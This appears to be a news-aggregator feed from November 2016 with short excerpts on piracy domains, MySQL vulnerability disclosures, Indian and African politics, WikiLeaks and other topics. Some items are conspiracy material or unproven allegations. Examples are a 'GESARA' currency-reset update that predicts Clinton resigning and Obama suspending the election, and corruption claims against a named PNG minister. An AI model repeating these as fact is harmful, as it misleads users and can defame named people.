The people behind 123movies, who prefer to remain anonymous, fear that the blockade will hurt their visitor numbers so have decided to take counteraction. A few hours ago they started redirecting UK and Indian visitors to 123movies.gs, using a TLD from the South Georgia and the South Sandwich Islands.

The reason for the sudden move is clear, according to a site representative. “To give UK users a place to stream movies after the ban on 123movies.to,” we were told.

The .GS domain is not an arbitrary choice. The 123movies team believes that this is a relatively safe option. However, it’s worth noting that The Pirate Bay lost its .GS domain fairly quickly last year after the registry suspended it over copyright infringement issues.

With the switch, 123movies hopes to be safe for a while but they may have to relocate UK and Indian traffic again in the future.

The site’s operators say they don’t have a larger goal in mind for the site. Their main motivation is to provide free video content to the public at large, and with millions of visitors per day they are doing just that.

“We have no goal, we just want to provide free movies to users all around the world,” a 123movies representative told TorrentFreak.

“In some countries, it’s really expensive to buy a ticket at the cinema, and not all people can afford it. 123movies will help them to be able to enjoy their favorite movies at no cost.”

The Hollywood studios will cringe at 123movies’ deviant stance and are likely to take countermeasures of their own. In the UK they can request the new domain name t...

19:32

UTT Throwback Thursday: From Sudbury Massachusetts to Mumbai "IndyWatch Feed War"

Understanding the Threat, by John Guandolo, November 3, 2016: This story has all of the pieces needed to paint a clear picture of the terrorist (jihadi) network in the United States. Tarek Mehanna, a young Muslim from Sudbury, Massachusetts, provided … Continue reading

19:32

Radical realism about climate change "IndyWatch Feed Economics"

Geoengineering isn't going to solve the world's climate problem; but perhaps a radical shift in economic and political systems can, says Heinrich Boll Foundation Ecology and Sustainable Development Department head Lili Fuhr.

19:30

The Myth of the Mauritian ‘Miracle’ "IndyWatch Feed Asia"

Slavery, indenture and industrialisation have all contributed to Mauritius’ multiculturalism – and to its deep social tensions.

Workers process tuna at the Thon des Mascareignes factory in Port Louis, Mauritius. Credit: Reuters

Workers process tuna at the Thon des Mascareignes factory in Port Louis, Mauritius. Credit: Reuters

Mauritius, an island with no indigenous populations and a history of multiple European colonisations is a multi-ethnic society made up of just over two thirds Indo-Mauritians, nearly one-third Creoles and small groups of Sino-Mauritians and Franco-Mauritians.

The social fabric of the island of nearly 1.3 million people is a reflection of its history of involuntary and voluntary migrations. Its population has been constituted by flows of people since the 16th century. These flows have consisted of colonial administrators and merchants, sugar plantation owners, African slaves, Indian indentured labourers, traders and most recently, large numbers of Chinese and Bangladeshi migrant workers.

On November 2, Mauritius commemorates the arrival of the first indentured migrants with a national holiday. It is a timely moment to reflect on current labour conditions on the island and to ask to what extent they reproduce colonial indenture practices.

Since its independence, Mauritius has been showcased as an economic “miracle” and a peaceful society where several ethnic groups live in harmony. In reality this harmony is precarious and the idea of the “Mauritian miracle” masks a significant social malaise that cannot be separated from contemporary labour conditions.

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19:30

Argentina coach fears Russia 2018 World Cup no show "IndyWatch Feed Africa"

  Argentina coach Edgardo Bauza said on Wednesday that he’s worried about his team’s qualifying campaign for the 2018 World Cup in Russia. Argentina reached the final of the 2014 World Cup and can count on Lionel Messi, the five-time winner of the World Player of the Year award. But the team’s progress was checked […]

19:25

GCHQ Recruiting For Elite Cyber Force… But Past Experience Not Required David Icke latest headlines

‘Britain’s electronic spy agency GCHQ is advertising 50 vacancies for its new elite cyber force, but recruiters don’t seem to mind if applicants lack experience. The scheme was announced on Tuesday as part of the new £1.9 billion (US$2.3 billion) National Cyber Security Programme. It will take the form of a free London course which aims to deliver the next generation of cyber spies.’ Read more: GCHQ Recruiting For Elite Cyber Force… But Past Experience Not Required

19:25

US Will Lose The Reserve Status, There Will Be An 80-90% Devaluation Of The New Dollar:Jim Willie "IndyWatch Feed War"

Most of artwork that are included with these videos have been created by X22 Report and they are used as a representation of the subject matter. The representative artwork included with these videos shall not be construed as the actual events that are taking place. Intro Music: YouTube Free Music Hey Sailor by Letter Box…

19:24

Putin: A Country That Cannot Defend It’s Children From Rape Today Has No Tomorrow-Europeans Have No Future "IndyWatch Feed Europe"

    Advocated that Russia not rely on the expertise of Europe when it comes go migration policy contending that Europeans have no future. In a truly shocking twist, the Supreme Court of Austria has decided to acquit the Iraqi … Continue reading

19:22

Atamu Social Club Honours Guardian Editor, Ogbodo and Other Outstanding Urhobo Sons "IndyWatch Feed Africa"

The awardees: Teddy Okumakube (left), David Akoro, Andrew Agbaga, President of Atamu Social Club, Johnson Agagbo; Stephen Ighomuaye and Abraham Ogbodo

The awardees: Teddy Okumakube (left), David Akoro, Andrew Agbaga, President of Atamu Social Club, Johnson Agagbo; Stephen Ighomuaye and Abraham Ogbodo


LAGOS NOVEMBER 3RD (URHOBOTODAY)-In recognition of their individual achievements in their various fields and contributions to the entire Urhobo Nation, the Atamu Social Club of Nigeria recently honoured some of its deserving members, including the Executive Editor of The Guardian Abraham Ogbodo. Held at the Oriental Hotel, Victoria Island, Lagos.
Other distinguished sons of Urhobo, who were celebrated at the event include Andrew Agbaga, David Akoro, Stephen Ighomuaye and Teddy Okumakube.
Speaking at the Dinner/Award Night, which turned out to be a celebration of rich Urhobo culture and tradition, president of the club Johnson Agagbo informed that the event is in line with the vision statement of Atamu Social Club to be the leading socio cultural organisation championing the unity and sustainable development of the Urhobo Nation.
“We decided to organise this dinner in honour of five of our members, who through hardwork, diligence and professionalism, have attained success in their chosen careers. The award diner recognizes captains of industries, professionals, journalists, business icons administrators and entrepreneurs,” he said.

19:21

Critical Flaws in MySQL Give Hackers Root Access to Server (Exploits Released) "IndyWatch Feed Tech"

Over a month ago we reported about two critical zero-day vulnerabilities in the world's 2nd most popular database management software MySQL: MySQL Remote Root Code Execution (CVE-2016-6662) Privilege Escalation (CVE-2016-6663) At that time, Polish security researcher Dawid Golunski of Legal Hackers who discovered these vulnerabilities published technical details and proof-of-concept exploit

19:21

Facebook says users can't stop it from using biometric data David Icke latest headlines

‘Facebook Inc.’s software knows your face almost as well as your mother does. And like mom, it isn’t asking your permission to do what it wants with old photos. While millions of internet users embrace the tagging of family and friends in photos, others worried there’s something devious afoot are trying to block Facebook as well as Google from amassing such data. As advances in facial recognition technology give companies the potential to profit from biometric data, privacy advocates see a pattern in how the world’s largest social network and search engine have sold users’ viewing histories for advertising. The companies insist that gathering data on what you look like isn’t against the law, even without your permission.’ Read more: Facebook says users can’t stop it from using biometric data

19:21

Sondeo Grecia: Syriza perdería el poder y la mitad de los votos "IndyWatch Feed Europe"

Syriza pasaría de 145 escaños a 54, dejando a Nueva Democracia con 101 diputados más que en septiembre de 2015.

19:20

Trump Campaign Statement on Politicization of DOJ and FBI With Clinton Investigation… "IndyWatch Feed Politics.us"

The following statement and news video segment are provided as a response to current events from the Trump Campaign: [Via Trump Campaign] “Today’s reports that the FBI has an open investigation into the Clinton Foundation shows the true extent of … Continue reading

19:17

Modi Handing out the Ramnath Goenka Awards Is an Ironic Moment for Indian Journalism "IndyWatch Feed Asia"

“I thought it was a bit too much to receive a journalism award from a man so contemptuous of  journalists,” said Akshaya Mukul, winner of the award for best non-fiction book, after boycotting the event.

Viveck Goenka and Prime Minister Narendra Modi at the Ramnath Goenka Awards. Credit: Twitter/Indian Express

Viveck Goenka and Prime Minister Narendra Modi at the Ramnath Goenka Awards. Credit: Twitter/Indian Express

At last year’s Ramnath Goenka awards, film star Aamir Khan disrupted the opulent conviviality that is the hallmark of media award functions – even those hosted by the flag bearer of “journalism of courage”, the Indian Express group – by speaking of rising intolerance in the country. This was to the obvious discomfiture of the establishment grandees ensconced in the front rows and to the equally obvious delight of the journalistic rank and file at the back of the hall.

By contrast, at this year’s Ramnath Goenka awards ceremony held on Wednesday at a five-star hotel on the edge of Lutyens Delhi, there were no such big moments. But it could be argued – and indeed, was argued by an awardee who chose to skip the award function – that the handing out of these highly prestigious awards for good journalism by Prime Minister Narendra Modi, who has made no secret for well over a decade of his distaste for over-inquisitive journalists, especially of the “Lutyens” variety, was in itself a big moment for Indian journalism – in that it was rich with irony.

As Akshaya Mukul, a senior journalist at the Times of India who was awarded the prize for the best non-fiction book for Gita Press and the Making of Hindu India that his publisher collected on his behalf, put it in a conversation with The Wire, “I thought it was a bit too much to receive a journalism award from a man so contemptuous of  journalists.” (Another awardee who also appeared to have boycotted the event, Anna M.M. Vetticad, was not available for comment.)

But that was off-stage. On stage, Viveck Goenka, the Express group’s chairman and managing director, played the effusive host to the hilt and chief guest Modi eschewed scorn, offering instead genial homilies to the media on not sensationalising news, on being credible, on bein...

19:17

Western leaders grow deaf to Israeli abuses David Icke latest headlines

‘Israel has just emerged from its extended, three-week high holidays, a period that in recent years has been marked by extremist religious Jews making provocative visits to the Al-Aqsa mosque compound in occupied East Jerusalem. Many go to pray, in violation of Israel’s international obligations. Most belong to groups that seek the mosque’s destruction and replacement with a Jewish temple – and now enjoy support from within the parliament, including from Prime Minister Binyamin Netanyahu’s party. A rash of such visits last autumn outraged Palestinians and triggered a wave of so-called “lone-wolf” attacks on Israelis. The attacks only recently abated.’ Read more: Western leaders grow deaf to Israeli abuses

19:16

Critical MySQL flaws can allow attackers to hack into your server "IndyWatch Feed Tech"

The security expert Dawid Golunski disclosed critical vulnerabilities in MySQL, MariaDB and PerconaDB can lead fully compromise of servers.

Critical vulnerabilities affecting the MySQL, MariaDB and PerconaDB can lead fully compromise of servers. The flaws could be exploited by attackers to arbitrary code execution, root privilege escalation and, of course, server compromise.

Dawid Golunski from Legal Hackers has disclosed this week details about the vulnerabilities, including the proof-of-concept exploits for two flaws.

Both vulnerabilities affect MySQL 5.5.51 and earlier, 5.6.32 and earlier, and 5.7.14 and earlier, they also affect MySQL database forks, including Percona Server and MariaDB.

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The first vulnerability tracked as CVE-2016-6663 is a privilege escalation/race condition flaw, a local attacker could exploit it to escalate his privileges and execute arbitrary code.

“The vulnerability can allow a local system user with access to the affected database in the context of a low-privileged account (CREATE/INSERT/SELECT grants) to escalate their privileges and execute arbitrary code as the database system user (typically ‘mysql‘).”  states the security advisory published on legalhackers.com. “Successful exploitation would allow an attacker to gain access to all of the databases stored on the affected database server.”

Golunski noticed that an attacker could fully compromise the target server by chaining the flaw with the other privilege escalation vulnerabilities (CVE-2016-6662 and CVE-2016-6664) he has discovered in September.

The second vulnerability discovered by Golunski is a root privilege escalation flaw, tracked as tracked as CVE-2016-6663, that can be exploited along with the race condition bug.

“MySQL-based databases including MySQL, MariaDB and PerconaDB are affected by a privilege escala...

19:15

UK Against Fluoridation "IndyWatch Feed Europe"



The Investigators 'Beyond The Fluoride Debate'


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19:15

#NoDAPL: Protector Red Fawn Fallis Charged with Attempted Murder | Democracy Now! "IndyWatch Feed 1stpeople"

#NoDAPL: Protector Red Fawn Fallis Charged with Attempted Murder | Democracy Now!: In more news on the Dakota Access pipeline, authorities have charged water protector Red Fawn Fallis with attempted murder and a slew of other charges stemming from the standoff on October 27, when hundreds of police raided a frontline resistance camp. Authorities say Fallis fired three shots during the standoff. She faces up to 20 years in prison. This comes after Morton County Sheriff Kyle Kirchmeier said he could not confirm any shots were fired by water protectors on October 27.

19:15

For Chic Gals! Keem Harun presents its “Feminist Fatale” S/S 17 Collection | Lookbook "IndyWatch Feed Africa"

Nigerian design label Keem Harun unveils its Spring/Summer 2017 collection called “Feminine Fatale“. According to a rep for the label, this collection pays tribute to the independent woman and her ability to juggle different roles throughout life and still look confident and stylish. With Feminist Fatale, women have the ability to choose which roles define […]

19:15

Russian media just loves the campaign to demonize Putin "IndyWatch Feed Economics"

Remember that roughly 80% plus of the audience watching this are strong supporters of President Putin. You can imagine what they think when they see these reports. The fully understand that the West hates Putin so much precisely because Putin is one of them, a real Russian who cares for the interests of the Russian people. So when the West demonizes Putin, it is really all the Russian people who are demonized and their conclusion is simple: the West does not hate Putin, the West hates *us*. As for “Blame it on Putin” – it has now become a real joke.

Russian media just loves the campaign to demonize Putin Last May I wrote an article entitled Counter-propaganda, Russian style in which I explained that far from banning or censoring the western anti-Putin/anti-Russia campaign, the Russia media reported about it in meticulous detail.  Half a year later, not only is this still true, but the level of coverage…

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#Climate win: #Hazelwood closing end of March 2017 reports @takvera "IndyWatch Feed National"

Republished from Climate Action Moreland: The official announcement of Hazelwood’s future has been made by French company Engie on the eve of the Paris Agreement coming into force and the start of the UN climate conference COP22: Hazelwood will close by end of March 2017. Hazelwood is Australia’s, indeed the industrial world’s, most polluting power […]

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John Englart has always had a strong social and environmental focus and over the past 10 years climate change science, climate policy and climate protest have become an increasingly important and primary focus of his work as a citizen journalist.

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JUSTIN TKATCHENKO'S 1ST PROPERTY PURCHASED IN 2011 - WORTH AUS $1.1 MILLION, PAID BY NCDC CASH! "IndyWatch Feed Pacific"

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Sources within an Australian Real Estate firm have been exposing prominent Papua New Guinean MPs and Public Servants  to PNGBLOGS who have purchased properties in Australia via dubious means. The latest is Sports, Special Events and APEC Minister, Justin TKATCHENKO. PNGBlogs recently exposed the recent purchase of a property by MINISTER TKATCHENKO and his family at BROOKFIELD outside BRISBANE, AUSTRALIA. MINISTER TKATCHENKO lied through his teeth in Parliament when he said he gave up controls to his parent company KITORO NO 33. Truth is he is still solely involved with the company operations with his wife.

Papua New Guineans have been duped again by JUSTIN TKATCHENKO with a purchase he made prior to entering Parliament when  he was the sole owner of Kitoro No 33.

In 2010 it was alleged Tkatchenko received over K3 million in payments from the National Capital District through his landscaping companies Kitoro No.33 and PNG Gardner. It is claimed these payments, were authorised by NCDC Governor Powes Parkop in breach of the Public Finance Management Act, the NCDC Act and the Organic Law on the Leadership Code.

The payments, which were made for work on the NCDC Mini Park, Water Fountain, Waterslide and Zoo and Animal Farm, were made with no quotations provided and no public tendering process – breaching the fundamental principles of value for money, transparency, effective competition, fair and ethical dealing and efficiency.


The K3 Million obtained by Mr TKATCHENKO was used to pay for the property at 10 Cubberla St, Fig Tree Pocket, just outside the Brisbane Central Business District.  The property is valued at $1.1Million dollars in today market rate. 

There are more than 30 prominent Papua New Guineans involved in the purchases of properties in...

19:09

Kalikho Pul’s Widow Files Nomination for Hayuliang Assembly Constituency Bypoll "IndyWatch Feed Asia"

People paying last respects at the coffin of Former Arunachal Pradesh Chief Minister Kalikho Pulon. Credit: PTI

People paying last respects at the coffin of Former Arunachal Pradesh Chief Minister Kalikho Pulon. Credit: PTI

Itanagar: Dasanglu Pul, wife of former chief minister Kalikho Pul, was among the four candidates who filed their nominations on Wednesday for the November 19 bypolls to the Hayuliang assembly constituency in Anjaw district of Arunachal Pradesh.

On the last date of filing papers, Dasanglu filed her nomination from BJP, while Lupalum Kri filed his papers as a Congress candidate, state deputy chief electoral officer D. J. Bhattacharjee said in a release.

Dasanglu, wife of former chief minister Kalikho Pul, is the candidate in consensus of North East Democratic Alliance (NEDA), in which BJP and Peoples Party of Arunachal (PPA) are partners.

Yompi Kri and Konteso Kri filed their papers as independent candidates.

Scrutiny of papers would be done tomorrow and the last date of withdrawal of candidature is November 5.

Counting of votes would be done on November 22.

The seat fell vacant after the death of Kalikho Pul, who allegedly committed suicide on August 9.

The constituency, with a total electorate of 11,003, including 5,508 female voters, has 81 polling stations of which three – Kibitho, Aphumna and Taflagam are situated near the international border with China.

The highest number of voters are in Hayuliang polling station with 955 listed voters, while the Malogam polling station has only two voters.

The election commission has appointed one general observer and one expenditure observer for the by-election.

The model code of conduct has been strictly enforced in the district and till date, an amount of Rs 3,00,000, opium and several Indian made foreign liquor bottles have been seized, the release said, adding that four check-points have been set up in the district to conduct free and fair polls.

The post Kalikho Pul’s Widow Files Nomi...

19:07

Assange Dismisses Claims of Russia’s Involvement in US Election Campaign. Source of DNC, Podesta Leaks ‘Comes From Within Washington’. "IndyWatch Feed World"

By Tapestry

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In a special interview with John Pilger aired by RT, WikiLeaks founder Julian Assange dismissed the allegations of Hillary Clinton’s camp that Russia was responsible for the revelations made by the whistleblowing website, which recently published a bunch of emails discrediting Clinton’s campaign. MOSCOW (Sputnik) – The WikiLeaks website has recently published over 43,000 emails from the hacked account of US Democratic presidential nominee Hillary Clinton’s campaign chairman, John Podesta. The website promised to publish a total of 50,000 before the US elections take place. “The Clinton camp has been able to project that kind of neo-McCarthyist hysteria that Russia is responsible for everything. Hillary Clinton stated multiple times, falsely, that 17 US intelligence agencies had assessed that Russia was the source of publications. That’s false. We can say that the Russian government is not the source,” Assange said.

In March, WikiLeaks created a searchable archive for emails sent to and from Clinton’s private email server, while she served as US secretary of state from 2009 to 2013. Clinton has come under significant criticism for using a private server and email address for official business during her tenure as the head of US diplomacy. In July, WikiLeaks published almost 20,000 pages of hacked Democratic National Committee emails that appear to demonstrate a concerted effort by top committee members to undermine US Senator Bernie Sanders’ campaign in favor of Clinton. Speaking during the final presidential debate in October, Clinton accused the Russian government of allegedly carrying out cyberattacks to influence the US elections. Moscow called such accusations absurd and ungrounded. Assange Feels Sorry for Clinton Being ‘Eaten Alive’ by Ambitions Julian Assange feels sorry for Hillary Clinton, as she had fainted and got sick due to her ambitions, Assange said. “I actually feel quite sorry for Hillary Clinton as a person, because I see someone who is eaten alive by their ambitions, tormented literally to the point where they become sick – for example faint – as a result of going on, and going with their ambitions. But she represents a whole network of people, and a whole network of relationships with particular states,” Assange said. In September, Clinton suffe...

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19:06

El recibo de la luz en España aumenta un 24,6% en seis meses "IndyWatch Feed Europe"

El recibo de la luz en España aumentó un 24,6% en los últimos seis meses, según los cálculos de Facua-Consumidores

19:04

The Economy: "President Obama’s Alternate Universe" "IndyWatch Feed World"

"President Obama’s Alternate Universe"
by Bill Bonner

"Poor Mr Obama. In an apologia in 'The Economist', the president reveals that he has learned nothing during his time in the White House. More importantly, he has forgotten nothing…

Making flimflam float: Almost anyone who went to college in the 1960s or after is bound to have some dopey ideas. Typically, when you get out into the real world and keep your eyes open, you learn how things really work. But if you spend your whole life in academia or government after you graduate, the learning process comes to a halt. You are dumb forever.

Learning happens as thoughts and actions are tested in the real world. You try something. Then you try something else. Some things work. Some don’t. But when you are cut off from the real world by fake money, fake deals, fake knowledge, fake statistics, and fake public service…all you learn is how to make the flimflam float.


Huh? That’s not what we saw happening… We were there, too. And we saw the whole world economy slowing down, even as central banks pumped in trillions of new, fake cash into the system. We saw more and more men in America with fewer and fewer real, ‘breadwinner’ jobs. We saw the top 5% making wage gains…and the rest either stagnant or falling behind. We saw medical care costs rising at their fastest rate in decades.
...

19:01

HFSat and The All-HF Amateur Radio Satellite Transponder "IndyWatch Feed Tech"

One facet of the diverse pursuit that is amateur radio involves the use of amateur radio satellites. These have a long history stretching back to the years shortly after the first space launches, and have been launched as “piggy-back” craft using spare capacity on government and commercial launches.

Though a diverse range of payloads have been carried by these satellites over the years, the majority of amateur radio satellites have featured transponders working in the VHF and UHF spectrum. Most often their links have used the 2m (144 MHz) and 70cm (430MHz) bands. A few have had downlinks in the 10m (28MHz) band, but this has been as far as they have ventured into the HF spectrum.

A new cubesat designed and built by trainees at the US Naval Academy promises to change all that, because it will feature an all-HF transponder with a 15m (21MHz) uplink and a 10m downlink. To that end it will carry a full size 10m wire dipole antenna. The 30KHz wide transponder is an inverting design intended to cancel out the effects of Doppler shift. In their write-up they provide a fascinating description of many aspects of cubesat design, one which should be of significant interest beyond the world of amateur radio.

If the subject of amateur radio in space interests you, have a look at our series on the matter, first covering the OSCAR satellites, and then our recent feature on its use in manned missions.

[via Southgate ARC]


Filed under: radio hacks

19:00

Thursday nightCap "IndyWatch Feed Pacific"

A bit heavy, but interesting all the same

The post Thursday nightCap appeared first on Whale Oil Beef Hooked | Whaleoil Media.

19:00

Insurgent Bomb and Gun Attacks Kill Three in Southern Thailand "IndyWatch Feed Asia"

A military personnel inspects the site of a bomb attack in Nong Chik district in the troubled southern province of Pattani, Thailand. Credit: Reuters

A military personnel inspects the site of a bomb attack in Nong Chik district in the troubled southern province of Pattani, Thailand. Credit: Reuters

Bangkok: Insurgents in mostly-Muslim areas of southern Thailand killed three people in a spate of bomb and gun attacks overnight targeting military personnel and commercial property, the military said on Thursday.

The insurgent attacks were the first since the death of King Bhumibol Adulyadej last month, and defied a request by the military junta to desist while the nation mourns a much-loved monarch who had reigned for seven decades.

Three people were killed, including two security guards and a soldier, according to Pramote Prom-in, a spokesman for the military’s Internal Security Operations Command.

The latest attacks took place in Narathiwat and Pattani province, two of three Muslim-majority provinces in predominantly Buddhist Thailand where a separatist insurgency has been raging since 2004, and in neighboring Songkhla province.

“It was the work of insurgents who want to create unrest and destroy trust in the government,” Pramote told Reuters.

No group has so far claimed responsibility.

The overnight attacks were the biggest since a series of bomb blasts across Thailand‘s south in August which killed four people and injured dozens, including foreigners.

Talks aimed at bringing peace to the troubled south between the military government and an umbrella insurgent group in September failed to reach any breakthrough.

Over 6,500 people have been kille...

19:00

AWS Launches Linux Container Image for On-Premise "IndyWatch Feed Tech"

AWS has launched a new Linux Container Image in response to customer demand, designed for use with cloud and on-premise workloads.

Linux AMI is a secure environment for firing up applications running on EC2, but due to customer demand, AWS has now made the image available for on-premise as well as cloud infrastructures, addressing more businesses' needs.

"Many of our customers have asked us to make this Linux image available for use on-premises, often as part of their development and testing workloads," Jeff Barr, chief evangelist for AWS, said.

Leaked Emails Expose Clinton Foundation ‘Pay-To-Play’ With Oligarch “To Show Support For Ukraine” "IndyWatch Feed World"

By Tyler Durden

Submitted by Alex Christoforou via TheDuran.com,

Wikileaks latest dump shows Ukraine oligarch Victor Pinchuk involved in pay-to-play exchange with The Clinton Foundation.

Wikileaks has just released another 1,135 John Podesta emails, bringing the total to 43,104 with seven days left until the November 8th US elections.

The latest release shows more Clinton Foundation pay-to-play arrangements, not with Moroccan kings or Saudi princes, but with a Ukraine oligarch.

In an email from President Clinton’s Director of Foreign Policy, Amitabh Desai, to Hillary Clinton’s inner circle (including Huma Abedin and John Podesta), we see the Clinton Foundation’s biggest donor, billionaire Victor Pinchuk, push Hillary Clinton staff to either set up a “private” meeting with Bill Clinton (aka WJC), or “bring together a few western leaders to show support for Ukraine”…with WJC present at the event to show his commitment to “the county [sic] and for him [Victor Pinchuk].”

We are betting that Pinchuk was planning on leveraging Bill Clinton’s presence to display that the future President (via her husband) was fully behind the oligarch and his faltering plan to pivot west.

The email exchange paints a picture of a Ukraine oligarch “relentlessly following up” to expose his connection to the Clinton family, given that (as Desai wrote) Pinchuk “is under Putin’s heel right now, feeling a great degree of pressure and pain for his many years of nurturing stronger ties with the West.”

It’s important to note that Pinchuk was a big supporter of the Maidan coup…a foreign policy debacle that Assistant Secretary of State for European and Eurasian Affairs Victoria Nuland (another Hillary Clinton state department protege) helped spearhead.

From 2009 up to 2013 (the year the Ukrainian coup erupted), the Clinton Foundation received at least $8.6 million from the Victor Pinchuk Foundation, which is headquartered in Kiev.

Foreign Donors to Clinton Foundation...

18:59

Los yihadistas huyen de Alepo ante el avance del Ejército Árabe Sirio "IndyWatch Feed Europe"

Los grupos terroristas confirman su derrota tras la ofensiva llevada a cabo por las fuerzas gubernamentales sirias en los barrios

18:58

Vatican Plant King Leopold Killed Over Ten Million Africans "IndyWatch Feed Europe"

Europe’s Forgotten ‘Hitler’ Killed Over 10 Million Africans — But the West Erased it From History Most people have no idea of who is pictured above, but you should. The sight of this man should cause a similar revulsion to … Continue reading

18:55

Rising Discontent Among Farmers in Myanmar Over Displacement "IndyWatch Feed Asia"

Representational image. Credit: Soe Zeya Tun/Reuters

Representational image. Credit: Soe Zeya Tun/Reuters

Bangkok: Land conflicts in Myanmar have escalated in recent years, with military and armed groups driving people from their land and new laws failing to protect farmers, a rights watchdog said on Thursday.

Land disputes are a longstanding problem in Myanmar, but researchers from New York-based Human Rights Watch (HRW) documented rising discontent over displacement for agriculture, mining and infrastructure projects.

Land confiscation and reprisals against protesters are particularly acute in resource-rich Kayin state, which borders wealthier Thailand and is seen as attractive for investment in tourism, mining and agriculture, HRW said in a report.

“Military and armed groups use intimidation to force people off their land. Government laws and policies are failing to protect farmers, even where land seizures go through proper channels,” Caroline Stover, author of the report, ‘The Farmer Becomes the Criminal’, said by telephone from Yangon.

“Under the Land Acquisition Act, the government can take land for public purposes, but the government has failed to do proper notice and consultation and provide proper compensation as required by law,” she said.

For decades, Kayin state, also known as Karen state, has been the site of an armed conflict between ethnic armed groups and Myanmar‘s military, causing huge displacement and forcing hundreds of thousands to seek refuge in Thailand and beyond.

A peace process in the state and other ethnic areas has opened up access to areas once beyond the reach of Myanmar‘s armed forces and military-linked businessmen, HRW’s report said.

It said...

18:53

New US Republic via a Global Currency Reset Update as of Nov. 3 2016 "IndyWatch Feed World"

New Republic via a GCR Update as of Nov. 3 2016

Compiled in the early morning hours of 3 Nov. 2016 by Judy Byington, MSW, LCSW, ret, Author, "Twenty Two Faces," www.22faces.com, CEO, Child Abuse Recovery www.ChildAbuseRecovery.com

A. Internal Coup Against Hillary Clinton Has Begun: Red Alert (video)

B. Summary of Nov. 1 2016 Updates:

1. Evidently UN Secretary General Ban Ki Moon has published on the UN Website that the GESARA treaty, which includes global economic reform and the new US Republic, was set to be implemented on Nov. 4 2016.

2. Tank said GESARA went into effect Nov. 1 2016, while Bruce said that Nov. 1 was a significant date and a restart globally.

3. According to Bruce things were cued up, ready. Prosperity Packages were ready to go out for dispersal. The private groups, sub groups out West have been hydrated and were about to be emailed so they could get their funds.

4. A large humanitarian funding source has been instructed by the Federal Reserve that they have a three day roll out plan that started Nov. 1.

5. This included our 800# notification, emails to some members, sub group members, also the Prosperity Packages, complete hydration of large humanitarian funding source through grants and some loans throughout the world.

6. Hillary Clinton was expected to resign from her bid to become President due to health reasons.

7. Barack Obama was expected to suspend the Nov. 8th general elections by executive order and replace Hillary with Bernie Sanders/Elizabeth Warren for a Jan. 3, 2017 election.

8. Trump was expected to step aside once Hillary was gone and stump for Ryan.

9. Republic nominee Paul Ryan/Mike Pence was expected to win in a landslide and be the 45th President of the United States.

C. New Republic via a GCR: Update as of November 2, 2016

D. Nov. 2 2016 1:22 am Veritas Update: "Treading Carefully" - Veritas Update - November 2, 2016

1. There is a lot I cannot say, so I must tread carefully. Let me see what I can tell you.

2. Often what we see is not what is the cause or force behind something. Take the news, the focus is all on slaughtering Clinton's slim reputation permanently. Easy to assume that is the hold up. That issue is solved. It is following a carefully orchestrated path.

...

18:53

Catholic church apologises for role in 'forced adoptions' over 30-year period | Society | The Guardian "IndyWatch Feed 1stpeople"

Catholic church apologises for role in 'forced adoptions' over 30-year period | Society | The Guardian: Cardinal Vincent Nichols acknowledged the “the grief and pain caused by the giving up of a child through adoption”, adding: “Sadly for unmarried mothers, adoption was considered to be in the best interests of the mother and child because of the associated stigma and the lack of support for lone parents.”

A documentary telling the stories of some of the women – who gave up an estimated half a million children during a period when the Catholic church, the Church of England and the Salvation Army ran “mother and baby homes” and adoption agencies in the UK – is to be broadcast on ITV on 9 November.

18:52

South Africa – anti-corruption body to look at Zuma influence peddling "IndyWatch Feed Africa"

Reuters

By TJ Strydom and Mfuneko Toyana | PRETORIA

South Africa’s anti-graft watchdog called for a judge to investigate allegations of influence peddling in President Jacob Zuma’s government, in a report released on Wednesday as thousands of protesters called for the president to step down.

The 355-page report, titled “State of Capture”, stopped short of reaching conclusive findings, but is likely to add to pressure on Zuma by demanding a full inquiry within 30 days into the biggest crisis of his scandal-plagued presidency.

The report was finally released after the president withdrew a court bid earlier on Wednesday that had sought to delay its publication.

Police fired stun grenades and used water cannon to disperse demonstrators who had marched to the Union Buildings, where Zuma’s offices are located. Outside the High Court, protesters carried “Zuma must go” placards.

Zuma denies providing special favours for wealthy friends, including three brothers who run a business empire from media to mining and who also deny wrongdoing.

The carefully-worded report stopped short of asserting that crimes had been committed, saying the watchdog lacked the resources to reach such conclusions.

It focused on allegations that the brothers, Ajay, Atul and Rajesh Gupta, influenced the appointment of ministers, and called for an investigation into whether Zuma, some of his cabinet members and some state companies acted improperly.

In one case it cited “extraordinary and unprecedented” government intervention in a private business dispute involving Zuma’s friends and his son. This, it said, may have created “a possible conflict of interest between the President as head of state and his private interest as a friend and father”.

The affair has rattled markets in Africa’s most industrialised economy, which faces the risk of ratings downgrades later this year. Divisions within the African National Congress (ANC) have widened since the ruling party suffered its worst-ever local election results in August.

The rand rose by as much as 2 percent to the dollar when the court ordered that the report be released, although it later pared some of its gains. Analysts said allowing the report to be released was an indication the country still had strong institutions.

The release of the report has been a central demand of Zuma’s opponents since its publication was suspended on Oct. 14, the day its author, Thuli Madonsela, reached the end of her tenure as public protector, South Africa’s anti-graft watchdog.

The p...

18:50

Energías alternativas, una apuesta fundamental para Bolivia "IndyWatch Feed Europe"

Pese a contar con grandes reservas gasíferas, Bolivia impulsa importantes inversiones para priorizar el uso de las fuentes de energía

18:48

Revolution In Progress "IndyWatch Feed National"

by Dee McLachlan In Australia the mood changed last weekend. For fifteen months the mainstream media (MSM) have consistently trashed Trump in every which way possible. They paid retired politicians to dish out derogatory commentary about the presidential nominee. But that all seemed to change last week. Even Australia’s ABC has, over the last few days, […]

18:47

Losing the unlosable election? "IndyWatch Feed Pacific"

Simon Lusk and Cameron Slater are launching a book on the recent Auckland local body election. It has a curious title, considering Lusk was managing the campaign of one of the mayoral contenders. Losing the Unlosable Election – How the Right Lost Auckland Again Yes the centre-right to right was fragmented and did poorly in […]

18:43

Diwali Air Over North India Was World’s Worst – And Worse Than Diwali 2015 "IndyWatch Feed Asia"

PM 2.5 levels over north India sky-rocketed to over 29 times the WHO standards this Diwali, surpassing the previous year as well.

Diwali. Credit: Danish Siddiqi/Reuters

Diwali. Credit: Danish Siddiqi/Reuters

Over the Diwali weekend of 2016, India’s air quality was among the world’s worst, and between 40% and 100% worse in five north Indian cities than at the same time, last year, according to global air pollution data and an IndiaSpend analysis of national data and our #Breathe network of sensors.

On October 30 and 31, 2016, from 9 pm to the wee hours of the next morning, North India – especially parts of Delhi, Uttar Pradesh and Bihar – recorded PM 2.5 levels of over 500 µg/m³–exhibiting “beyond scale” pollution values, according to the database run by Berkeley Earth, an independent US research organisation. Represented through heat maps, the database typically records the world’s worst air quality–at the top of the scale, most between “very unhealthy” to “hazardous”– in dust-blown Xinjiang province in north-west China and parts of North India.

